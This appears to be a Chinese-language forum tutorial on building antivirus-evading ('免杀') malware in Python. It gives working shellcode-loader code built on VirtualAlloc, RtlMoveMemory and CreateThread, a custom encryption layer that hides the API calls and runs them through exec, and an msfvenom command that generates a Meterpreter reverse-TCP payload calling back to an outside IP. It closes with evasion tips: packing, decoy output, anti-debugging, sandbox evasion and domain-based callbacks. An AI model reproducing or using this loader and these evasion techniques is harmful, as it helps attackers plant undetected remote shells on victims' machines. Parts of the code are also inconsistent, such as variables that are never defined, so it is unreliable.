python自写加密免杀初尝试
字数 635 2025-08-07 00:35:04
Python自写加密免杀技术详解
1. 加密原理与实现
1.1 加密流程
- 字符转换:
- 输入字符 → ASCII码 → 八进制表示
- 密钥生成:
- 使用"我喜欢你"字符串 → ASCII码 → 数字去重
- 索引映射:
- 将八进制数据根据密钥数字获取索引值存入列表
- 多层加密:
- 进行三次异或操作(时间戳+CPU信息)
- 与时间戳进行数学运算
- 最终替换:
- 将数字替换为特定符号生成花式密文
1.2 解密类设计
class EZH:
def hysy(self, sc, cpuzy, sjc):
# 解密实现代码
# 包含逆向的异或运算和时间戳处理
return decrypted_data
2. Shellcode免杀实现
2.1 基础Shellcode加载
import ctypes
import base64
# MSF生成的base64加密shellcode
s = '''\x2f\x4f\x69\x50\x41...'''
shellcode = base64.b64decode(s)
# 内存操作
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
2.2 敏感函数加密方案
-
分段加密:
- Shellcode分多段使用不同密钥加密
- 每段使用不同的时间戳和CPU信息作为盐值
-
动态解密执行:
# 加密后的shellcode
sc = '加密后的字符串'
cpuzy = 352
sjc = 1652436404
emdgs = EZH().hysy(sc=sc, cpuzy=cpuzy, sjc=sjc)
ba = base64.b64decode(emdgs)
# 加密内存操作函数
wm1 = '加密的VirtualAlloc调用'
cpu_x = 3462
sjc_x = 1652439982
mm = EZH().hysy(sc=wm1, cpuzy=cpu_x, sjc=sjc_x)
exec(mm)
3. 完整免杀实现类
import ctypes
import base64
import em
class MUMA():
def zx(self):
# 打印混淆日志
log = '''艺术性混淆文本...'''
print(log)
# 分段解密执行
sc = '加密shellcode'
cpuzy = '352'
sjc = '1652436404'
emdgs = em.EZH.hysy(sc=sc, cpuzy=int(cpuzy), sjc=int(sjc))
shellcode = base64.b64decode(emdgs)
wm1 = '加密的VirtualAlloc'
mm = em.EZH.hysy(sc=wm1, cpuzy=3462, sjc=1652439982)
app = '加密的RtlMoveMemory'
zx = em.EZH.hysy(sc=app, cpuzy=9735, sjc=1652439328)
exec(zx)
mw = '加密的CreateThread'
mmmm = em.EZH.hysy(sc=mw, cpuzy=28248, sjc=1652439853)
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
exec(mmmm)
def zxcx(self):
self.zx()
if __name__ == '__main__':
MUMA().zxcx()
4. 关键技术与注意事项
-
加密要点:
- 使用多层异或运算增加破解难度
- 结合时间戳和硬件信息实现动态密钥
- 关键函数名和调用过程全部加密
-
免杀技巧:
- 使用PyInstaller打包增加分析难度
- 添加无害的打印信息混淆分析
- 分离shellcode与加载逻辑
-
注意事项:
- 不同环境的时间戳和CPU信息可能变化
- 过长的加密字符串可能导致性能问题
- 需测试不同杀软的实际检测效果
-
生成shellcode命令:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.80.132 lport=6666 --encrypt base64 -f c
5. 扩展思路
- 可增加反调试技术
- 结合进程注入等更多隐蔽技术
- 使用域名而非IP增加隐蔽性
- 添加沙箱检测和规避逻辑
此方案通过自定义加密算法和关键函数动态解密,有效规避了静态特征检测,结合Python的灵活性实现了较好的免杀效果。